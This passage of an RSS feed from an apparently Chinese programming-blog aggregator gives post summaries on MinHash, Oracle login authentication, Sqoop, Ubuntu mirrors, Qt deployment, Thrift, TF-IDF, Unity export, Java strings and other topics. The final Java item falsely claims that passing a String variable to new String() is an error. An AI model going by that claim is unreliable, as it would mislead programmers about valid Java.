仅比较S3的当前值[2,0]与哈希值[0,3]即可。由于0&amp;lt;2，因此将SIG（1,3）改为0，而同时由于 3&amp;gt;0，因此SIG（2,3）保持不变。最终得到的签名矩阵为：&#xA;基于上述签名矩阵，可以估计原始集合之间的Jaccard相似度。注意到在签名矩阵中S1和S4对应的列向量完全相同，因此我们可以猜测SIM（S1，S4）=1.0。如果回到图3，会发现S1和S4的真是Jaccard相似度为2/3.需要记住的是，签名矩阵中行之间的一致程度只是真实Jaccard相似度的一个估计值，因为本例规模太小，所以并不足以说明在大规模数据情况下估计值和真实值相近的规律。另外，在本例中，S1和S3在签名矩阵中有一半元素一致（真实相似度为1/4），而S1和S2在签名矩阵中没有相同元素，所以相似度估计值为0（真实相似度也为0）。&#xA;（注：以上理论性的知识全部是来源于上篇博客中所提到的书里的，所以是可靠的）。&#xA;下面附上自己的python代码：&#xA;这个是依据上述理论一个版本&#xA;&#34;&#34;&#34; 此函数用于获得所有文档的最小哈希签名，signatureNum表示签名行数 &#34;&#34;&#34; def getMinHashSignature(shingleList,signatureNum): #tatalSet用于存放所有集合的并集 totalSet=shingleList[0] for i in range(1,len(shingleList)): totalSet=totalSet|shingleList[i] temp=int(math.</description>
    </item>
    <item>
      <title>ORACLE登录验证方式的详解</title>
      <link>https://bchobby.github.io/posts/8de93c8da81d138df23b8a8ae6f63d29/</link>
      <pubDate>Fri, 17 Mar 2017 21:01:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8de93c8da81d138df23b8a8ae6f63d29/</guid>
      <description>Oracle的3种认证方式 1.使用OS操作系统集成身份验证 在数据库服务器本机只要以sqlplus as sysdba连接数据库，不论输入什么用户（哪怕这个用户如aaa在数据库中根本不存在）都可以连接上，并且连接用户是sys 好处就是，如果有时候忘记了数据库用户的密码，而又想登录数据库，可以通过这种方式，前提是在数据库服务器本机上；但是方便的同时也带来了一些安全隐患，想屏蔽os认证，只要修改sqlnet.ora中的SQLNET.AUTHENTICATION_SERVICES的值就可以屏蔽OS功能&#xA;没有sqlnet.ora文件时，默认开启OS认证 SQLNET.AUTHENTICATION_SERVICES = none | all | nts(windows下表示启用OS认证)&#xA;all : 用于linux、unix、windows平台，启用OS认证 nts : 用于windows平台，启用OS认证，其他平台使用这个值表示关闭OS认证&#xA;none : 表示关闭OS认证，只能密码认证或其他认证&#xA;all: all for all authentication methods.nts: nts for Microsoft Windows native operating system authentication&#xA;none: none for no authentication methods, including Microsoft Windows native operating system authentication. When SQLNET.AUTHENTICATION_SERVICES is set to none, a valid user name and password can be used to access the database.</description>
    </item>
    <item>
      <title>sigmoid和softmax函数的C&#43;&#43;实现</title>
      <link>https://bchobby.github.io/posts/0c15d083209411ffdcc6bfa9c60f7b83/</link>
      <pubDate>Fri, 17 Mar 2017 15:36:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c15d083209411ffdcc6bfa9c60f7b83/</guid>
      <description> float sigmoid(float x) { return (1 / (1 + exp(-x))); } float sigmoid_dy_dz(float x) { return (x * (1.0 - x)); } float tanh_dy_dz(float x) { return (1.0 - x*x); } //对每一行进行softmax void softmax(float *x, int row, int column) { for (int j = 0; j &amp;lt; row; ++j) { float max = 0.0; float sum = 0.0; for (int k = 0; k &amp;lt; column; ++k) if (max &amp;lt; x[k + j*column]) max = x[k + j*column]; for (int k = 0; k &amp;lt; column; ++k) { x[k + j*column] = exp(x[k + j*column] - max); // prevent data overflow sum += x[k + j*column]; } for (int k = 0; k &amp;lt; column; ++k) x[k + j*column] /= sum; } } //row*column </description>
    </item>
    <item>
      <title>sqoop使用手册</title>
      <link>https://bchobby.github.io/posts/92ea51d11432e03f010ce3dd1525ca30/</link>
      <pubDate>Thu, 16 Mar 2017 11:13:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92ea51d11432e03f010ce3dd1525ca30/</guid>
      <description>Sqoop使用手册 转载请注明出处：http://www.cnblogs.com/xiaodf/&#xA;1 Sqoop概述2 版本说明3 驱动安装 3.1 MySQL 4 基本用法 4.1 导入 4.1.1 保护密码4.1.2 使用其他文件格式4.1.3 压缩导入的数据4.1.4 提高传输速度4.1.5 自定义类型映射4.1.6 并行控制4.1.7 对NULL值进行编码4.1.8 导入所有表 4.2 增量导入 4.2.1 只导入细腻数据4.2.2 增量导入可变数据4.2.3 保存last-value4.2.4 在metastore中保存密码4.2.5 客户端之间共享metastore 4.3 导出 4.3.1 hive导出数据到mysql4.3.2 批量插入4.3.3 导出所有数据或不导出任何数据4.3.4 更新已有数据4.3.5 更新或插入数据4.3.6 只导出某些列4.3.7 编码NULL值 5 附：import和export参数详解 5.1 import和export工具通用选项5.2 数据导入工具import参数详解5.3 数据导出工具export参数详解5.4 Sqoop Job参数详解 1 Sqoop概述 Sqoop是一个旨在Hadoop和关系数据库或主机之间传输数据的工具。你可以使用Sqoop从关系型数据库管理系统（RDBMS），如MySQL、Oracle或大型机到Hadoop分布式文件系统（HDFS）导入数据，在Hadoop中的MapReduce转换数据，然后将数据导出到一个RDBMS 。Sqoop使用MapReduce导入和导出数据，它提供了并行操作，以及容错。&#xA;2 版本说明 本文档适用于Sqoop1。&#xA;软件 版本 Sqoop 1.4.5-cdh5.3.0 Mysql JDBC驱动 5.1.32 ORACLE JDBC驱动 和oracle版本保持一致 3 驱动安装 3.1 MySQL 将驱动对应的jar包放置到 /usr/share/java/下。</description>
    </item>
    <item>
      <title>Ubuntu使用阿里云源，解决下载速度慢问题。</title>
      <link>https://bchobby.github.io/posts/870391ba8f80389e56fb5432d93a3fb9/</link>
      <pubDate>Wed, 15 Mar 2017 13:52:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/870391ba8f80389e56fb5432d93a3fb9/</guid>
      <description>更换ubuntu源 原文地址：http://www.cnblogs.com/microman/p/6109370.html&#xA;在终端中修改方法：&#xA;sudo cp /etc/apt/sources.list /etc/apt/sources.list.backup #备份当前也就是默认官方的源列表&#xA;sudo gedit /etc/apt/sources.list #修改sources.list文件中源的列表，删除全部内容，替换为国内源地址。 保存编辑好的文件。&#xA;sudo apt-get update #更新源列表，换源后必须执行&#xA;国内源列表：本人试用过的比较快的源&#xA;deb http://mirrors.aliyun.com/ubuntu/ trusty main multiverse restricted universe deb http://mirrors.aliyun.com/ubuntu/ trusty-backports main multiverse restricted universe deb http://mirrors.aliyun.com/ubuntu/ trusty-proposed main multiverse restricted universe deb http://mirrors.aliyun.com/ubuntu/ trusty-security main multiverse restricted universe deb http://mirrors.aliyun.com/ubuntu/ trusty-updates main multiverse restricted universe deb-src http://mirrors.aliyun.com/ubuntu/ trusty main multiverse restricted universe deb-src http://mirrors.aliyun.com/ubuntu/ trusty-backports main multiverse restricted universe deb-src http://mirrors.aliyun.com/ubuntu/ trusty-proposed main multiverse restricted universe deb-src http://mirrors.</description>
    </item>
    <item>
      <title>butterknife 8.5.1配置使用</title>
      <link>https://bchobby.github.io/posts/4058150049c8da48c6bab03d3fff0b21/</link>
      <pubDate>Tue, 14 Mar 2017 09:18:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4058150049c8da48c6bab03d3fff0b21/</guid>
      <description>butterknife github地址&#xA;1、在整个项目 build.gradle 文件下做如下配置&#xA;buildscript { repositories { mavenCentral() } dependencies { classpath &#39;com.jakewharton:butterknife-gradle-plugin:8.5.1&#39; } } 2、在当前module build.gradle 文件下做如下配置&#xA;apply plugin: &#39;com.jakewharton.butterknife&#39; dependencies { compile &#39;com.jakewharton:butterknife:8.5.1&#39; annotationProcessor &#39;com.jakewharton:butterknife-compiler:8.5.1&#39; } 3、使用示例&#xA;public class TestView extends AppCompatActivity { @BindView(R.id.test_txt) TextView testTxt; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); ButterKnife.bind(this); testTxt.setText(&#34;ButterKnife&#34;); } } 4、使用butterknife插件，快速生成，AndroidStudio Setting -&amp;gt; Plugins -&amp;gt; 搜索Android ButterKnife Zelezny 然后重启Studio生效。 插件使用方式：光标移动到布局文件的位置，例如：setContentView(R.layout.activity_main);，鼠标放到activity_main上，快键键Alt + Insert，选择Generate ButterKnife Injections&#xA;5、在Library内部使用视图注入 正确配置gradle之后，依然报错 Caused by: java.</description>
    </item>
    <item>
      <title>error C3861: “gets”: 找不到标识符</title>
      <link>https://bchobby.github.io/posts/422ed9859d617106aa429fbe46c2227e/</link>
      <pubDate>Sun, 12 Mar 2017 21:52:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/422ed9859d617106aa429fbe46c2227e/</guid>
      <description>error C3861: “gets”: 找不到标识符&#xA;把“gets”改成“gets_s”</description>
    </item>
    <item>
      <title>Python中time模块详解</title>
      <link>https://bchobby.github.io/posts/c0d810ca918ea335287bd4830f721a62/</link>
      <pubDate>Sun, 12 Mar 2017 13:23:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0d810ca918ea335287bd4830f721a62/</guid>
      <description>在Python中，与时间处理有关的模块就包括：time，datetime以及calendar。这篇文章，主要讲解time模块。 在开始之前，首先要说明这几点：&#xA;在Python中，通常有这几种方式来表示时间：1）时间戳 2）格式化的时间字符串 3）元组（struct_time）共九个元素。由于Python的time模块实现主要调用C库，所以各个平台可能有所不同。&#xA;UTC（Coordinated Universal Time，世界协调时）亦即格林威治天文时间，世界标准时间。在中国为UTC+8。DST（Daylight Saving Time）即夏令时。&#xA;时间戳（timestamp）的方式：通常来说，时间戳表示的是从1970年1月1日00:00:00开始按秒计算的偏移量。我们运行“type(time.time())”，返回的是float类型。返回时间戳方式的函数主要有time()，clock()等。&#xA;元组（struct_time）方式：struct_time元组共有9个元素，返回struct_time的函数主要有gmtime()，localtime()，strptime()。下面列出这种方式元组中的几个元素：&#xA;索引（Index） 属性（Attribute） 值（Values） 0 tm_year（年） 比如2011 1 tm_mon（月） 1 - 12 2 tm_mday（日） 1 - 31 3 tm_hour（时） 0 - 23 4 tm_min（分） 0 - 59 5 tm_sec（秒） 0 - 61 6 tm_wday（weekday） 0 - 6（0表示周日） 7 tm_yday（一年中的第几天） 1 - 366 8 tm_isdst（是否是夏令时） 默认为-1 接着介绍time模块中常用的几个函数：&#xA;1）time.localtime([secs])：将一个时间戳转换为当前时区的struct_time。secs参数未提供，则以当前时间为准。&#xA;&amp;gt;&amp;gt;&amp;gt; time.localtime() time.struct_time(tm_year=2011, tm_mon=5, tm_mday=5, tm_hour=14, tm_min=14, tm_sec=50, tm_wday=3, tm_yday=125, tm_isdst=0) &amp;gt;&amp;gt;&amp;gt; time.</description>
    </item>
    <item>
      <title>matlab实现滑动平均滤波(二)</title>
      <link>https://bchobby.github.io/posts/e07a338615573d8ea6775953ac79e6bd/</link>
      <pubDate>Sat, 11 Mar 2017 23:08:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e07a338615573d8ea6775953ac79e6bd/</guid>
      <description> 滑动平均（moving average）：在地球物理异常图上，选定某一尺寸的窗口，将窗口内的所有异常值做算术平均，将平均值作为窗口中心点的异常值。按点距或线距移动窗口，重复此平均方法，直到对整幅图完成上述过程，这种过程称为滑动平均。 滑动平均相当于低通滤波，在重力勘探和测井资料处理解释中常用此方法。 如果滑动窗长为n的话，滑动平均就是让数据通过一个n点的FIR滤波器，滤波器抽头系数都是1，这样取滑动平均就是起到序列平滑的作用。&#xA;利用filter函数求滑动平均 Matlab有多种计算滑动平均的方法，现介绍基于filter函数的计算方法。设原始数据为x，平均窗口设为a（a为正整数），那么无权重滑动平均后的数据y为：&#xA;windowSize =a;&#xA;y=filter(ones(1,windowSize)/windowSize,1,x);&#xA;上述命令实际上计算的是：&#xA;y(1)=(1/a)*x(1);&#xA;y(2)=(1/a)*x(2)+(1/a)*x(1);&#xA;... ...&#xA;y(a)=(1/a)*x(a)+(1/a)*x(a-1)+...+(1/a)*x(1);&#xA;... ...&#xA;y(i)=(1/a)*x(i)+(1/a)*x(i-1)+...+(1/a)*x(i-a+1);&#xA;... ....&#xA;可以看出，计算某一位置处的平均值时，窗口的前端位于该处。有时为了将窗口中部放在所计算的位置处，这样上述计算方式则变为（为叙述方便起见，设a为奇数）：&#xA;y(1)=(1/a)*x(1)+(1/a)*x(2)+...+(1/a)*x((a+1)/2);&#xA;y(2)=(1/a)*x(1)+(1/a)*x(2)+...+(1/a)*x((a+1)/2+1);&#xA;... ...&#xA;y((a+1)/2)=(1/a)*x(1)+(1/a)*x(2)+...+(1/a)*x((a+1)/2)+...+(1/a)*x(a);&#xA;... ...&#xA;y(i)=(1/a)*x(i-(a-1)/2)+(1/a)*x(i-(a-1)/2+1)+...+(1/a)*x(i)+...+(1/a)*x(i+(a-1)/2);&#xA;... ...&#xA;这种方式的滑动平均称为中心滑动平均，其Matlab的计算语句为：&#xA;windowSize =a;&#xA;y1=filter(ones(1,a/2+1)/windowSize,1,x); y2=filter(ones(1,a/2+1)/windowSize,1,fliplr(x)); y=y1+fliplr(y2)-(1/a)*x;&#xA;如利用1-2-1 滤波器计算有权重的中心滑动平均，其Matlab语句为：&#xA;y1=filter([0.50.25],1,x);&#xA;y2=filter([0.5 0.25],1,fliplr(x));&#xA;y=y1+fliplr(y2)-0.5*x; </description>
    </item>
    <item>
      <title>mapshaper系列之五-  信息类命令</title>
      <link>https://bchobby.github.io/posts/75539f298d0d6f4a834b2f41a0a5cc48/</link>
      <pubDate>Sat, 11 Mar 2017 22:40:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75539f298d0d6f4a834b2f41a0a5cc48/</guid>
      <description>前面分别介绍了mapshaper的I/O、编辑命令，下面介绍信息类命令。 1. -calc&amp;lt;统计&amp;gt; 利用JS表达式计算并展现数据表的基本描述性统计结果，以下函数已经实现： count() sum() average() median() mode() min() max() collect() 返回包含所有值的集合 first() last() count()没有参数，其他函数将JS表达式或属性名称作为参数，参数表达式与 -each 表达式格式相同。如果没有记录，count()和sum()返回0，其他函数返回 null。 其他可选项： &amp;lt;expression&amp;gt;： 包含调用一个或多个 -calc 函数的JS表达式； where=：利用返回值为boolean的JS表达式对要素进行过滤，参与计算的是满足条件的要素子集。 target=: 示例： # 计算字段POPULATION的和 mapshaper ny-census-blocks.shp -calc &#39;sum(POPULATION)&#39; # 统计POPULATION=0的记录数据 mapshaper ny-census-blocks.shp -calc &#39;count()&#39; where=&#39;POPULATION == 0&#39; 2. -encoding &amp;lt;编码&amp;gt; 列出所有的文本编码格式。 3. -help &amp;lt;帮助信息&amp;gt; 输出有用的信息和一系列的命名。 &amp;lt;command&amp;gt; ：显示单个命令的可选参数，如 mapshaper -h json 4. -info &amp;lt;数据信息&amp;gt; 打印数据集的信息，对于查看图层属性表的字段很有帮助，对于总结一系列命令的结果也很有作用。 #示例: 获取json数据的信息 mapshaper mystery_file.json -info 5. -inspect 列出属性表中一条要素的信息。 &amp;lt;expression&amp;gt;：用于选择一个要素的JS表达式（查看-each命令中JS表达式的文档说明）。 target： # Example: 查看states.</description>
    </item>
    <item>
      <title>如何解决Qt程序在其他电脑上无法运行的问题（Qt程序打包发布）</title>
      <link>https://bchobby.github.io/posts/321efbf8f493d9fe2d64318dbe40af1d/</link>
      <pubDate>Thu, 09 Mar 2017 20:50:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/321efbf8f493d9fe2d64318dbe40af1d/</guid>
      <description>这几天在研究Qt，首先尝试用Qt Creator编写一些小程序来练练手。但是，在这个过程中却遇到了一个问题：使用Qt Creator编写的exe程序，只能在本机运行，跑到别的电脑上就无法运行了，提示缺少各种各样的库。这个问题，我之前在搞VS-MFC的编程时，也遇到过，无非就是一些运行时库的问题导致的。当时的做法时，根据程序运行时报错所缺失的库，一个一个手工查找和拷贝，收集全部所依赖的库到程序目录下，程序就可以正常运行了。因此，对于这次的情况，我原本也打算这么做。但是，无意间在一篇博客里看到，Qt的设计者其实一早就料到有这种情况发生的，所以，他们为Qt专门设计了一个发行程序时自动对依赖库打包的工具，可以全自动为用户完成上述工作，那可就方便多了。下面就对这个工具的用法进行介绍：&#xA;1、首先找到这个工具，这个工具叫做“windeployqt”。它一般位于Qt安装目录下的mingw_XX\bin目录下，像我的目录就在C:\ProgramData\Qt\5.8\mingw53_32\bin。&#xA;此时，建议将整个目录直接加入系统环境变量，便于后续使用。&#xA;2、编译你的程序，注意必须是release版本。debug版本的貌似不行。&#xA;3、启动cmd，进入到你要发布的程序所在的目录，比如我的程序放在D:\Test目录下，就输入”cd /d d:\test”，记住里面一定要加”/d”的参数，否则将无法进入该目录。&#xA;4、确认你的程序是用Qt Creator哪个模式设计的，总共有2个模式，Qt Widgets Application和Qt Quick Application，不同模式下的参数命令是不一样的：&#xA;在Qt Widgets Application模式下 输入”windeployqt hello.exe”命令，其中hello.exe是我的程序名称。&#xA;Qt Quick Application模式下 输入”windeployqt hello.exe –qmldir”命令， 其中hello.exe是我的程序名称，qmldir是你的qml目录，这个目录一般位于mingwXX目录下，像我的目录就在C:\ProgramData\Qt\5.8\mingw53_32\qml。&#xA;5、输入上述命令之后，Qt就会自动复制它所依赖的各个插件文件夹和 dll文件、qm文件，得到的就完整的 exe 程序发布集合，依赖关系都解决好了，可以直接发布到其他的电脑上运行。&#xA;6、要注意的是，按照上述步骤完成之后，仍有可能会提示dll缺失信息，像我就遇到了缺失的提示。不过，好在此时缺失的dll很少（我遇到的就只有3个：libwinpthread-1.dll、libstdc++-6.dll、以及libgcc_s_dw2-1.dll），可以手动去复制，根据我的经验，可以直接在C:\ProgramData\Qt\5.8\mingw53_32\bin目录下面找到这几个dll。&#xA;7、其他未尽事项，建议大家参考以下这篇博文，介绍的非常详细。&#xA;http://blog.csdn.net/liuyez123/article/details/50462637&#xA;8、搞定，收工！</description>
    </item>
    <item>
      <title>Thrift序列化与反序列化</title>
      <link>https://bchobby.github.io/posts/e8a7b475a6627b7121a6e4b175b87388/</link>
      <pubDate>Thu, 09 Mar 2017 17:24:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8a7b475a6627b7121a6e4b175b87388/</guid>
      <description>Thrift提供了可扩展序列化机制, 不但兼容性好而且压缩率高。 我们来比较下常见的数据传输格式 数据传输格式类型优点缺点Xml文本1、良好的可读性&#xA;2、序列化的数据包含完整的结构&#xA;3、调整不同属性的顺序对序列化/反序列化不影响1、数据传输量大&#xA;2、不支持二进制数据类型Json文本1、良好的可读性&#xA;2、调整不同属性的顺序对序列化/反序列化不影响1、丢弃了类型信息, 比如&#34;price&#34;:100, 对price类型是int/double解析有二义性&#xA;2、不支持二进制数据类型Thrift二进制高效1、不宜读&#xA;2、向后兼容有一定的约定限制，采用id递增的方式标识并以optional修饰来添加Google Protobuf二进制高效1、不宜读&#xA;2、向后兼容有一定的约定限制 Thrift 支持的数据类型 1、基本类型 bool: 布尔值 byte: 8位有符号整数 i16: 16位有符号整数 i32: 32位有符号整数 i64: 64位有符号整数 double: 64位浮点数 string: UTF-8编码的字符串 binary: 二进制串 2、结构体类型 struct: 定义了一个很普通的OOP对象，但是没有继承特性，用法如下： struct User {&#xA;1: i32 uid,&#xA;2: string name&#xA;} 如果变量有默认值，可以直接写在定义文件里: struct User {&#xA;1: i32 uid = 1,&#xA;2: string name = &#34;User1&#34;&#xA;} 说明： a. 每个域有一个唯一的，正整数标识符 b. 每个域可以标识为required或者optional（也可以不注明） c. 结构体可以包含其他结构体 d. 域可以有缺省值 e.</description>
    </item>
    <item>
      <title>TF-IDF理解及其Java实现</title>
      <link>https://bchobby.github.io/posts/ef2d3c39ce7518448470ffa628ce48ba/</link>
      <pubDate>Thu, 09 Mar 2017 15:45:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef2d3c39ce7518448470ffa628ce48ba/</guid>
      <description>转自：http://www.cnblogs.com/ywl925/archive/2013/08/26/3275878.html&#xA;前言 前段时间，又具体看了自己以前整理的TF-IDF，这里把它发布在博客上，知识就是需要不断的重复的，否则就感觉生疏了。&#xA;TF-IDF理解 TF-IDF（term frequency–inverse document frequency）是一种用于资讯检索与资讯探勘的常用加权技术, TFIDF的主要思想是：如果某个词或短语在一篇文章中出现的频率TF高，并且在其他文章中很少出现，则认为此词或者短语具有很好的类别区分能力，适合用来分类。TFIDF实际上是：TF * IDF，TF词频(Term Frequency)，IDF反文档频率(Inverse Document Frequency)。TF表示词条在文档d中出现的频率。IDF的主要思想是：如果包含词条t的文档越少，也就是n越小，IDF越大，则说明词条t具有很好的类别区分能力。如果某一类文档C中包含词条t的文档数为m，而其它类包含t的文档总数为k，显然所有包含t的文档数n=m + k，当m大的时候，n也大，按照IDF公式得到的IDF的值会小，就说明该词条t类别区分能力不强。但是实际上，如果一个词条在一个类的文档中频繁出现，则说明该词条能够很好代表这个类的文本的特征，这样的词条应该给它们赋予较高的权重，并选来作为该类文本的特征词以区别与其它类文档。这就是IDF的不足之处.&#xA;TF公式：&#xA;以上式子中 是该词在文件中的出现次数，而分母则是在文件中所有字词的出现次数之和。&#xA;IDF公式：&#xA;|D|：语料库中的文件总数：包含词语的文件数目（即的文件数目）如果该词语不在语料库中，就会导致被除数为零，因此一般情况下使用 然后&#xA;TF-IDF案例 案例：假如一篇文件的总词语数是100个，而词语“母牛”出现了3次，那么“母牛”一词在该文件中的词频就是3/100=0.03。一个计算文件频率 (DF) 的方法是测定有多少份文件出现过“母牛”一词，然后除以文件集里包含的文件总数。所以，如果“母牛”一词在1,000份文件出现过，而文件总数是10,000,000份的话，其逆向文件频率就是 lg(10,000,000 / 1,000)=4。最后的TF-IDF的分数为0.03 * 4=0.12。&#xA;TF-IDF实现（Java） 这里采用了外部插件IKAnalyzer-2012.jar，用其进行分词，插件和测试文件可以从这里下载：点击 具体代码如下：&#xA;按 Ctrl+C 复制代码 package tfidf; import java.io.*; import java.util.*; import org.wltea.analyzer.lucene.IKAnalyzer; public class ReadFiles { /** * @param args */ private static ArrayList&amp;lt;String&amp;gt; FileList = new ArrayList&amp;lt;String&amp;gt;(); // the list of file //get list of file for the directory, including sub-directory of it public static List&amp;lt;String&amp;gt; readDirs(String filepath) throws FileNotFoundException, IOException { try { File file = new File(filepath); if(!</description>
    </item>
    <item>
      <title>matlab建立BP神经网络中train函数的参数及学习算法参数</title>
      <link>https://bchobby.github.io/posts/4915d2259f9942102f03766c02398ff3/</link>
      <pubDate>Wed, 08 Mar 2017 19:25:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4915d2259f9942102f03766c02398ff3/</guid>
      <description>1.神经网络主要训练参数&#xA;net.trainParam.goal=0.1 % 训练目标最小误差，这里设置为0.1&#xA;net.trainParam.epochs=300; % 训练次数，这里设置为300次&#xA;net.trainParam.show=20; % 显示频率，这里设置为没训练20次显示一次&#xA;net.trainParam.mc=0.95; % 附加动量因子&#xA;net.trainParam.lr=0.05; % 学习速率，这里设置为0.05&#xA;net.trainParam.min_grad=1e-6; %最小性能梯度&#xA;net.trainParam.min_fail=5; % 最大确认失败次数&#xA;2.newff函数中训练函数&#xA;(1） traingd：基本梯度下降法，收敛速度比较慢。&#xA;（2） traingda：自适应学习率的梯度下降法&#xA;（3） traingdm：带有动量项的梯度下降法, 通常要比traingd 速度快。&#xA;（4） traingdx: 带有动量项的自适应学习算法, 速度要比traingdm 快。&#xA;（5） trainrp: 弹性BP 算法, 具有收敛速度快和占用内存小的优点。&#xA;（6） traincgf: Fletcher-Reeves 共轭梯度法,为共轭梯度法中存储量要求最小的算法。&#xA;（7） traincgp: Polak-Ribiers共轭梯度算法, 存储量比traincgf稍大,但对某些问题收敛更快。&#xA;(8) traincgb: Powell-Beale共轭梯度算法,存储量比traincgp稍大,但一般收敛更快，以上三种共轭梯度法,都需要进行线性搜索。&#xA;(9) trainscg: 归一化共轭梯度法,是唯一一种不需要线性搜索的共轭梯度法。&#xA;(10) trainbfg: BFGS- 拟牛顿法, 其需要的存储空间比共轭梯度法要大,每次迭代的时间也要多,但通常在其收敛时所需的迭代次数要比共轭梯度法少,比较适合小型网络。&#xA;(11) traino ss: 一步分割法,为共轭梯度法和拟牛顿法的一种折衷方法。&#xA;(12) trainlm: Levenberg-Marquardt算法,对中等规模的网络来说, 是速度最快的一种训练算法, 其缺点是占用内存较大。对于大型网络, 可以通过置参数mem-reduc 为1, 2, 3,⋯,将Jacobian 矩阵分为几个子矩阵。但这样也有弊端, 系统开销将与计算Jacobian的各子矩阵有很大关系。</description>
    </item>
    <item>
      <title>Unity3D Asset文件导出3DMax 可编辑格式</title>
      <link>https://bchobby.github.io/posts/5220e18f477d3ea4d2002a5049e200ba/</link>
      <pubDate>Wed, 08 Mar 2017 18:34:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5220e18f477d3ea4d2002a5049e200ba/</guid>
      <description>本文章由cartzhang编写，转载请注明出处。 所有权利保留。 文章链接：http://blog.csdn.net/cartzhang/article/details/60878354 作者：cartzhang&#xA;一、前言 美术想要一个把unity中*.asset的模型导出来，导成3D Max可以打开的模式，fbx或obj. 需要导出的格式：&#xA;图1 也就是需要一个工具，个人觉得这个问题，肯定之前Unity的前辈就有解决方法了。于是乎网上一通下载和测试。&#xA;二、解包工具集合 网络上找来了各种测试，但是没有一个适合我的，很多都是失败，打不开。 参考宣雨松的博客，找了还是没有结果。&#xA;图3 解包工具有很多种类， disunity github地址: https://github.com/ata4/disunity 还有就是AssetAssetsExport，还有Unity Studio. 别人的博客里面都有比较多的介绍和说明，这里就详细说了。 最后还网上wiki里，找到了一个合适的我自己的解包。 http://wiki.unity3d.com/index.php?title=ObjExporter&#xA;三、初步成果 找到了一个网站：http://wiki.unity3d.com/index.php?title=ObjExporter 可以导出部分对象。 如下图：&#xA;图0 而原来unity中模型是这个样子的。&#xA;图4 导出的只有武器和头盔，没有人物主体body.&#xA;四、bug修改 其实也不能算bug，也许人家没有这样的需要呢。&#xA;Component[] meshfilter = selection[i].GetComponentsInChildren&amp;lt;MeshFilter&amp;gt;(); MeshFilter[] mf = new MeshFilter[meshfilter.Length]; int m = 0; for (; m &amp;lt; meshfilter.Length; m++) { exportedObjects++; mf[m] = (MeshFilter)meshfilter[m]; } 代码中是要查找所有组件中的MeshFilter，发现SkinnedMeshRender组件居然没有这个MeshFilter这个组件，所以总会导出少一个，而这个居然是人的主体。&#xA;图5 本来说让美术自己添加一个MeshFilter组件，然后根据mesh render中的mesh自己来添加一个对应的mesh. 既然是程序，那就想办法，思路很明显，既然是有meshrender,就从这入手呗。 代码还是不难度。&#xA;// 没有meshFilter，添加一个meshFilter. SkinnedMeshRenderer[] meshfilterRender = selection[i].</description>
    </item>
    <item>
      <title>cocos2dx tolua &#43;&#43; 使用 常见得错误</title>
      <link>https://bchobby.github.io/posts/8977ea3947c101816ca5fbc6684318ad/</link>
      <pubDate>Mon, 06 Mar 2017 14:02:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8977ea3947c101816ca5fbc6684318ad/</guid>
      <description>步骤: 1、安装必要的库和工具包，以及配置相关环境变量，请按照cocos2d-x-3.0rc0\tools\tolua\README.mdown说得去做 （注意：尽量用README.mdown说的同一个ndk版本（最好用9系列），不然需要改东西，NDK各个版本链接） 2、写c++类(我测试用的是cocos2d-x-3.0rc0\tests\lua-empty-test\project\Classes\自定义.cpp)&#xA;注意：你写的方法一定要public，不然不会编译到lua，会报错attempt to call method ‘方法名’ (a nil value) 注意：在xcode写c++类的时候，如果包含路径一定要写完，xcode不会报错，但是tolua是就会又问题了！（TranslationUnitLoadError: Error parsing translation unit.）&#xA;注意：如果自定义的类别里有自行定义的 namespace 时，跑 .bat 后看 output log 的最后一行会发现这样的错误：&#xA;Exception: The namespace (Evo::TalkWidget) conversion wasn’t set in ‘ns_map’ section of the conversions.yaml&#xA;去找一下 conversions.yaml 这个档，位置应该在 /tools/bindings-generator/targets/lua 底下，直接用文字编辑器打开来看。&#xA;把自订的 namespace 加到 ns_map 的变数中，那个 .ini 里的 cpp_namespace 作用&#xA;要加的内容如下：&#xA;ns_map: “cocos2d::extension::”: “cc.” “cocos2d::ui::”: “ccui.” “cocos2d::”: “cc.” “spine::”: “sp.” “cocostudio::”: “ccs.” “cocosbuilder::”: “cc.” “CocosDenshion::”: “cc.” 3、写一个生成的python脚本，你不会写，没关系，我们会照着葫芦画瓢 1）进入目录cocos2d-x-3.</description>
    </item>
    <item>
      <title>Java中String字符串初始化细节</title>
      <link>https://bchobby.github.io/posts/a6d78edc4e24f4ff6ca0f72aa0669d57/</link>
      <pubDate>Sat, 04 Mar 2017 00:42:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6d78edc4e24f4ff6ca0f72aa0669d57/</guid>
      <description>Java中String类型细节 一 . String两种初始化方式 1 . String str1= “abc”;//String类特有的创建字符对象的方式，更高效 在字符串缓冲区中检测”abc”是否存在 若存在则不重复创建，将地址赋值给str1. 若不存在，则在字符串缓冲区中创建对象并赋地址给str1.&#xA;2 . String str1= new String( “abc”); //构造函数初始化 或者 char [] ch={‘a’,’b’,’c’}; String str1=new String (ch); 先有 “abc” 对象，然后拷贝给构造函数创建的对象（相当于str1得到的是构造函数的副本）&#xA;String对象是不可变的，它的内容不能改变，而在程序中字符串频繁使用，为了提高效率，对具有相同字符串序列的字符串直接量使用同一个实例，这样的实例被称之为限定的（interned）&#xA;注意，第二种方式的参数只支持字符串直接量或字符数组创建，这种方式是错误的 String strA = “asd”; String strbB = new Strint(strA);&#xA;比较两种创建方式，第一种更高效，只创建了一个对象，第二种创建了两个对象。&#xA;二 . 初始化细节 栈中保存基本类型与对象的引用，基本类型在创建前会查看Stack中是否已经有, 有则赋值指向, 没有则创建。&#xA;String str1= “abc”; String str1= new String( “abc”); 